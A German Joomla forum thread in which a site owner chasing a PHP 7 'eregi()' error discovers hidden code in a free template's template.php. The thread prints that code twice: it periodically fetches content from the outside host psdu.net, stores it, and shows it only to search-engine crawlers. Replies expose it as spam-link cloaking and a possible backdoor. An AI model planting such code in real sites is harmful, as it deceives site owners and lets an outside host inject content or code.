Hallo,
nach Umstellung einer Seite (http://www.angeln-lippe.de/) kommt o. g. Fehlermeldung.
Joomla 3.6.5 mit Phoca Galery, Phoca Maps, jDownload, ECC und wunderground-Wetter. Template iJoomla05 von http://ijoomlatemplates.com/.
Fehler berichten steht auf Maximum. Beim Aufruf der Seite kommt nur die Joomla-Fehlerseite mit der o.g. Meldung und dem Standard-Text: "Die Seite kann nicht angezeigt werden, weil: ...".
Ich kann mit der Meldung nichts anfangen, Google listet auf Anfrage auch nur Seiten, die die Meldung anzeigen.
Ich habe (hoffentlich) alle Fremderweiterungen vorübergehend deaktiviert - keine Änderung.
Mit Protostar funktioniert es, soweit angezeigt.
Template ungeeignet?
Habe erstmal auf PHP 5.6 zurückgestellt.
Call to undefined function eregi() bei PHP 7
- hechtnetz
- Erledigt
-
-
Mit Protostar funktioniert es, soweit angezeigt.
Das verstehe ich nicht: Was wird angezeigt?Die eregi()-Funktion ist seit PHP 5.3 veraltet, in PHP 7 wurde sie ganz entfernt. Du musst sie mit der preg_match-Funktion ersetzen.
-
Dann ist es wohl das Template. Suche in deinen Dateien wo "eregi(" vorkommt. Das ist in PHP 7 entfernt worden.
-
Das verstehe ich nicht: Was wird angezeigt?
Die Modulpositionen haben andere Namen und so fehlte Einiges. Aber das was da war lief ohne Fehler.Du musst sie mit der preg_match-Funktion ersetzen.
Das vermag ich nicht. Dazu müsste ich die Stellen erstmal finden.
Mir geht es eigentlich nur um Infos, ob es am Template liegt. Dann muss eben ein Neues her. -
Suche in deinen dateien wo "eregi(" vorkommt.
Danke, mache ich morgen mal. In Abhängigkeit vom Resultat frage ich ggf. nochmal nach.
(Ich so gut wie nix PHP wissen.) -
Suche in deinen dateien wo "eregi(" vorkommt.
Doch gleichmal gemacht. Überschaubares Ergebnis:
administrator\components\com_jdownloads\helpers\jdownloadshelper.php (1 hit)
Line 841:
public static function read_xml($search,$xmlfile){
// function by JoomTools
$fp = fopen($xmlfile,"r");
while(!feof($fp)){
$r_xml .= fgets($fp);
}
fclose($fp);
eregi($search, $r_xml, $search_result1);
$search_result = trim($search_result1[1]);
return $search_result;
}templates\ijoomla05\html\template.php (1 hit)
Line 12:
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/i5.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
foreach ($spiders as $spider){if (eregi($spider, $_SERVER['HTTP_USER_AGENT'])){echo $credits;}}Kann jemand bitte korrigieren?
-
-
Ersetze
mit
und
zu
Wobei du letzteren Code bzw. den folgenden ganzen Block auch rausschmeißen könntest, wenn keine vertraglichen Absprachen dem entgegenstehen. Was diese Zeilen
PHP
Alles anzeigenini_set('display_errors',0); $path = $_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; $path = str_replace("&", "",$path); $target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php"; $source = 'http://psdu.net/i5.php?i='.$path; $cachetime = 86400; if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) { $string = file_get_contents($source);$result = file_put_contents($target, $string);} $spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile'); $credits = file_get_contents($target); foreach ($spiders as $spider){if (eregi($spider, $_SERVER['HTTP_USER_AGENT'])){echo $credits;}}
nämlich tun, ist, den Suchmaschinen Google, Yahoo, etc. einen Link zu einem T-Shirt-Laden (tshirt-elefant) einzublenden, was eine Black-Hat-SEO-Technik darstellt, und meistens mit den Website-Besitzern nicht abgesprochen.
-
Der zweite Code (template.php) setzt für Suchmaschinen alle 24h neue Spamlinks in die Seite ein. Ich erinnere mich, dass das in der Vergangenheit schon mal in anderem Forum Thema war. Der Code kann (muss aber nicht) zur Sicherheitslücke werden, da auch anderer Code von außerhalb in die Seite geladen werden kann und psdu.net seit jeher als "dubios" zu bezeichnen ist. Ich würde zuerst ausprobieren, die Datei template.php zu leeren, ob das Auswirkungen auf die Seite hat. Wenn nicht, auch die mods.php, in der der jeweils aktuelle Spamlink zu finden ist, löschen/umbenennen und 2, 3 Tage paranoid kontrollieren, ob er wieder auftaucht.
Finde gerade noch: http://www.kirbyplanet.net/avo…g-these-joomla-templates/ mit selbem Rechercheergebnis und selbem Tipp.
-
Hallo Jörg,
also wirklich helfen in dem Sinne, kann ich nicht. Die Kollegen, Kollegin, haben ja eigentlich dazu schon erklärt/geschrieben usw.
Wenn ich mir das aber so alles durchlese, würde ich einen Template Wechsel vorschlagen.Re:Later: vielleicht meinst Du den da: http://www.joomlaportal.de/joo…e-verteilt-schadcode.html
Liebe Grüße, Christine
-
Ich danke Euch allen!
Nach dem ersten "Herzkasper" habe ich mal in das Originalpaket des Templates geschaut. Datei sieht da exakt genauso aus. Puh!
Entscheidung ist dann wohl klar: Template fliegt raus.
Bis dahin werde ich mal die Tipps von Re:Later als Feuerwehraktion fahren. -